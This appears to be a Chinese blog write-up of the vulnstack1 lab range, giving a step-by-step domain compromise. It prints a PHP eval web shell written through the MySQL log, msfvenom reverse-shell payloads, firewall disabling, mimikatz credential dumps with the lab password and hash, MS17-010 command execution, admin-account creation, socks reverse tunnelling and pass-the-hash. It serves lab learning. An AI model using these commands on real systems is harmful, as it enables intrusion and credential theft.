vulnstack1 靶场做题记录

发布于 2021-12-15  39 次阅读


前言

虽然网上已经有一些较为完整的靶场做题记录,并且此入门靶场也较为简单。但是在做题过程中仍然遇到一些其他文章中没有提到或者忽略的问题以及操作,故希望能为像我一样刚入门渗透的小小白们带来一点点的帮助。

搭建靶场

准备

靶场下载:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
解压文件直接解压,在vm中选择打开虚拟机,打开文件夹即可,并分别将虚拟机命名如下
win7->VM1
win2003->VM2
win8->VM3

环境搭建

攻击机选择:kali
VM1的网卡配置如下:(注意网络适配器的顺序不能调换

VM2的网卡配置:选择** 自定义(VMnet1)**
VM3的网卡配置:选择 自定义(VMnet1)

在打开虚拟机后,VM2和VM3都要求重置密码,并要求强密码。

VM1打开C盘下phpstudy并启动。(如果出现dll报错,重启虚拟机或者重新解压并打开)

定位

靶场已经配置好了

VM1->跳板机,服务器
VM2->域成员
VM3->DC


渗透过程

前渗透

看一眼VM1的外网IP

扫描目录

kali当时还没安装dirsearch

git config --global http.sslVerify false
git clone https://github.com/maurosoria/dirsearch.git

扫描得到结果

[15:50:14] 200 -   14KB - /l.php
[15:50:16] 200 -    2KB - /phpmyadmin/README
[15:50:17] 200 -   71KB - /phpinfo.php
[15:50:17] 301 -  241B  - /phpmyadmin  ->  http://192.168.37.128/phpmyadmin/
[15:50:17] 301 -  241B  - /phpMyAdmin  ->  http://192.168.37.128/phpMyAdmin/
[15:50:18] 200 -    4KB - /phpMyAdmin/
[15:50:18] 200 -    4KB - /phpmyAdmin/
[15:50:18] 200 -    4KB - /phpMyAdmin/index.php
[15:50:18] 200 -    4KB - /phpmyadmin/index.php
[15:50:18] 200 -    4KB - /phpmyadmin/
[15:50:18] 200 -    4KB - /phpMyadmin/
[15:50:18] 200 -   32KB - /phpmyadmin/ChangeLog

弱口令

phpmyadmin界面,有验证码,尝爆破难度较高(除非写PIL?)
自己手动输几个常见弱口令搭配

username_list=['root','admin']
password_list=['root','','admin','123456','password']

结果root/root就能进入后台了。
得到版本信息
软件版本: 5.5.53 - MySQL phpStudy 2014

找到Mysql漏洞

在之前的获取到的版本信息后,去网上搜了一下有无版本CVE,但并没有找到可以利用的地方。常对数据库操作,就仔细去找mysql里面又没有利用点。

尝试sqlmap一把梭

sqlmap -d "mysql://root:root@192.168.28.130:3306/test" —os-shell
返回报错,不允许外部登录root,看看能不能改配置

尝试添加用户

在数据库配置界面可以找到添加用户
直接添加用户matoujin,并给全权限

sqlmap -d "mysql://matoujin:jinlei@192.168.28.130:3306" —os-shell

注意要安装库:
pip3 install pymysql

显示mysql参数错误,我猜测是mysql服务器的一些配置限制了利用,去检查一下

尝试用用户matoujin连接mysql库,但是访问被拒绝了,去改一下mysql库的权限。给mysql库再上了个matoujin1的全权限用户
python3 sqlmap.py -d "mysql://matoujin1:jinlei@192.168.52.130:3306/mysql" --os-shell
最终还是不可行

成功利用日志写入

检查全局变量
show variables like '%general%';

set global general_log = on;
set global general_log_file = 'C:\phpstudy\WWW\shell.php';
这个时候,在对应路径就会生辰shell.php。
select '<?php @eval($_POST["matoujin"]);?>';

再把全局变量关闭,防止文件过大
set global general_log = off;
最后用蚁剑连接就可以了

后渗透

信息收集

系统信息

antsword C:> systeminfo

域:god.org
登录服务器:\\OWA

antsword C:>net config workstation

计算机名 \STU1
计算机全名 stu1.god.org
用户名 Administrator
工作站域 GOD
工作站域 DNS 名称 god.org
登录域 GOD

antsword C;>ipconfig

本地链接 IPv6 地址. . . . . . . . : fe80::fcff:cf71:1487:9c27%11(首选)
IPv4 地址 . . . . . . . . . . . . : 192.168.52.143(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.52.2
DHCPv6 IAID . . . . . . . . . . . : 234884137
DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-24-F3-A2-4E-00-0C-29-A7-C1-A8
DNS 服务器 . . . . . . . . . . . : 192.168.52.138
8.8.8.8
TCPIP 上的 NetBIOS . . . . . . . : 已启用

IPv4 地址 . . . . . . . . . . . . : 192.168.28.130(首选)
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . :
DHCP 服务器 . . . . . . . . . . . : 192.168.28.254
DHCPv6 IAID . . . . . . . . . . . : 738200617
DHCPv6 客户端 DUID . . . . . . . : 00-01-00-01-24-F3-A2-4E-00-0C-29-A7-C1-A8
DNS 服务器 . . . . . . . . . . . : 192.168.28.1
TCPIP 上的 NetBIOS . . . . . . . : 已启用

既然我们访问的是192.168.28.130,那么另一个ip(192.168.52.143)就是服务器的内网IP。

端口信息

antsword C:>nmap 192.168.52.143

Host is up (0.0000050s latency).
Not shown: 990 closed ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1027/tcp open IIS
1028/tcp open unknown
1029/tcp open ms-lsa
3306/tcp open mysql

上MSF马

上传

KALI打开metasploit,造反弹shell的payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.28.129 LPORT=10086 -e x86/shikata_ga_nai -i 5 -f exe -o backdoor.exe

这里提供多种payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.28.129 LPORT=10086 -e x64/shikata_ga_nai -i 5 -f exe -o backdoor.exe

或者受害机配合定时任务执行(每分钟执行一次)

aschtasks /create /tn solrindex /tr C:\backdoor.exe /sc minute /mo 1

LHOST设置为KALI的外网IP,10086端口为kali的被访问端口

在此之前,关闭目标受害机的防火墙
antsword C:>NetSh Advfirewall&nbsp;set allprofiles state off
antsword C:>NetSh Advfirewall&nbsp;show allprofiles
然后,通过antsword将kali中刚生成的backdoor.exe上传到受害机的C盘。
`

运行

根据刚才的设置,先在kali运行
msf> use exploit/multi/handler
msf> set payload windows/x64/meterpreter/reverse_tcp
msf> set lhost 192.168.28.129
msf> set lport 10086
然后目标受害机运行
backdoor.exe
然后kali端就能产生一个session,储存meterpreter

进程迁移

个人感觉手动进程迁移比较稳妥

meterpreter > ps | find  'explore'
Filtering on 'explore'

Process List
============

 PID   PPID  Name    Arch  Session  User      Path
 ---   ----  ----    ----  -------  ----      ----
 2136  2276  explor  x64   1        GOD\Admi  C:\Windo
             er.exe                 nistrato  ws\explo
                                    r         rer.exe

meterpreter > getpid
Current pid: 2828
meterpreter > migrate 2136
[*] Migrating from 2828 to 2136...
[*] Migration completed successfully.

meterpreter > getpid
Current pid: 2136

meterpreter > getsystem
提升权限。
暂时没有其他操作,保存到后台
meterpreter > backfground
返回session编号1。

补充可能情况

如果使用armitage,在这里直接用远程桌面是无法使用的,并且使用meterpreter>shell也会没有回显,尽量使用metasploit操作。

如果操作过程中没有回显,可能是进程挂了。在armitage下,蚁剑再跑一遍就会重新生成一个session;而在metasploit下,重新使用模块muti/handlerrun一下就好。

连接VM1远程桌面

确认一下目标的远程桌面端口有没有开放
msf > nmap 192.168.28.130 -p 3389

PORT STATE SERVICE
3389/tcp closed ms-wbt-server

开放端口

msf使用模块
post/windows/manage/enable_rdp
set session 1
run
再次检查端口是否开放

PORT STATE SERVICE
3389/tcp open ms-wbt-server

获取登录密码

方法一

通过antsword将mimikatz.exe上传到目标受害机的C:\下。
打开session 1的shell

msf > sessions -i 1

meterpreter > shell

C:\>mimikatz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonPasswords

Authentication Id : 0 ; 2571959 (00000000:00273eb7)
Session           : Interactive from 1
User Name         : Administrator
Domain            : GOD
Logon Server      : OWA
Logon Time        : 2021/11/9 12:10:32
SID               : S-1-5-21-2952760202-1353902439-2381784089-500
        msv :
         [00000003] Primary
         * Username : Administrator
         * Domain   : GOD
         * LM       : edea194d76c77d87840ac10a764c7362
         * NTLM     : 8a963371a63944419ec1adf687bb1be5
         * SHA1     : 343f44056ed02360aead5618dd42e4614b5f70cf
        tspkg :
         * Username : Administrator
         * Domain   : GOD
         * Password : hongrisec@2019
        wdigest :
         * Username : Administrator
         * Domain   : GOD
         * Password : hongrisec@2019
        kerberos :
         * Username : Administrator
         * Domain   : GOD.ORG
         * Password : hongrisec@2019
        ssp :
        credman :
方法二
meterpreter> load kiwi
meterpreter>creds_all

Username Domain Password

(null) (null) (null)
Administrator GOD hongrisec@2019

这样就获得了目标受害机的密码

登录远程桌面

msf > rdesktop 192.168.28.130
这里注意用GOD\Administrator登录。

横向渗透1--信息收集

解决shell后编码问题
chcp 65001

配置路由

meterpreter>run autoroute -s 192.168.52.0/24
这时候kali已经可以访问内网了

扫描域内存活主机

C:\Windows\system32>for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
Reply from 192.168.52.138: bytes=32 time<1ms TTL=128
Reply from 192.168.52.141: bytes=32 time<1ms TTL=128
Reply from 192.168.52.143: bytes=32 time<1ms TTL=128

扫描端口

msf > nmap 192.168.52.138

53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
49155/tcp open  unknown
49161/tcp open  unknown
49167/tcp open  unknown
msf > nmap 192.168.52.141

21/tcp   open  ftp
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
777/tcp  open  multiling-http
1025/tcp open  NFS-or-IIS
1028/tcp open  unknown
1029/tcp open  ms-lsa
1030/tcp open  iad1
6002/tcp open  X11:2
7001/tcp open  afs3-callback
7002/tcp open  afs3-prserver
8099/tcp open  unknown

445端口利用

看到两个IP都打开了445端口
msf > use auxiliary/scanner/smb/smb_ms17_010
msf > set rhosts 192168.52.141 192.168.52.138
msf > run
两个主机都是likely的

远程桌面利用准备之端口

msf >use auxiliary/admin/smb/ms17_010_command

msf > set rhost 192.168.52.141

......
msf > set command whoami
nt authority\system

......//查看对方开放端口
msf >set command netstat -na
打开3389端口使用远程桌面

set command wmic RDTOGGLE WHERE ServerName=\'%COMPUTERNAME%\' call SetAllowTSConnections 1
或者
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 1 /f'(注意单引号,如果不用单引号,要用\转义双引号)
开启的化,/d为1,关闭则为0。

Executing (\ROOT-TVI862UBEH\ROOT\CIMV2:Win32_TerminalServiceSetting.ServerName="ROOT-TVI862UBEH")->SetAllowTSConnections()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
ReturnValue = 0;
};

看看3389的状态,已经是开放的

TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING

远程桌面利用之socks代理

选用earthworm。
kali重新打开一个终端执行命令,将本机的1080端口请求转发给4444
./ew_for_linux64 -s rcsocks -l 1080 -e 4444

rcsocks 0.0.0.0:1080 <--[10000 usec]--> 0.0.0.0:4444
init cmd_server_for_rc here
start listen port here

然后把ew上传到VM1跳板机上
meterpreter > upload ../ew-master c://
蚁剑上执行
ew_for_Win.exe -s rssocks -d 192.168.28.129 -e 4444
然后刚刚新开终端socks客户端就能有反应了

kali再开一个终端执行
vim /etc/proxychains.conf
文末添加

socks 192.168.28.129 1080
或者
socks 127.0.0.1 1080
记得把其他行#注释

为了将msf也加入代理
msf >use uxiliary/server/socks_proxy

执行远程桌面

msf > proxychains4 rdesktop 192.168.52.141

提供管理员用户

继续使用msf模块
msf >use auxiliary/admin/smb/ms17_010_command
添加用户
set&nbsp;command net user matoujin jinlei@2001 /add
并添加用户为管理员
set&nbsp;command net localgroup administrators matoujin /add
然后就可以登录VM2了

补充

网上有许多教程都使用正向shell或者反弹shell来进行getshell,但是我尝试了下都没有成功。
当然,由于改过密码,hash传递登录也没有成功。这里只成列一下使用方法。大家可以自己去尝试

exploit/windows/smb/ms17_010_psexec正向

payload:windows/meterpreter/bind_tcp
payload&module的rhost(s) :192.168.52.141:
rport:445
lport:4444

windows/smb/ms17_010_eternalblue反弹

哈希传递登录

在VM1跳板机上执行一下命令

sekurlsa::pth /domain:god.org /user:administrator /ntlm:8a963371a63944419ec1adf687bb1be5

最后我使用的方法

web服务器(VM1跳板机)的WWW根目录下放置mimikatz.exe

使用admin/smb/ms17_010_command

先在DC上执行
set NetSh Advfirewall set allprofiles state off

DC下载mimikatz

bitsadmin /transfer name http://192.168.52.143/mimikatz.exe c:\mimikatz.exe

DC运行

set command 'c://mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full""'

到此,渗透结束,所有密码都在手里了
域控的远程桌面也就可以登录了


间桐桜のお菓子屋さん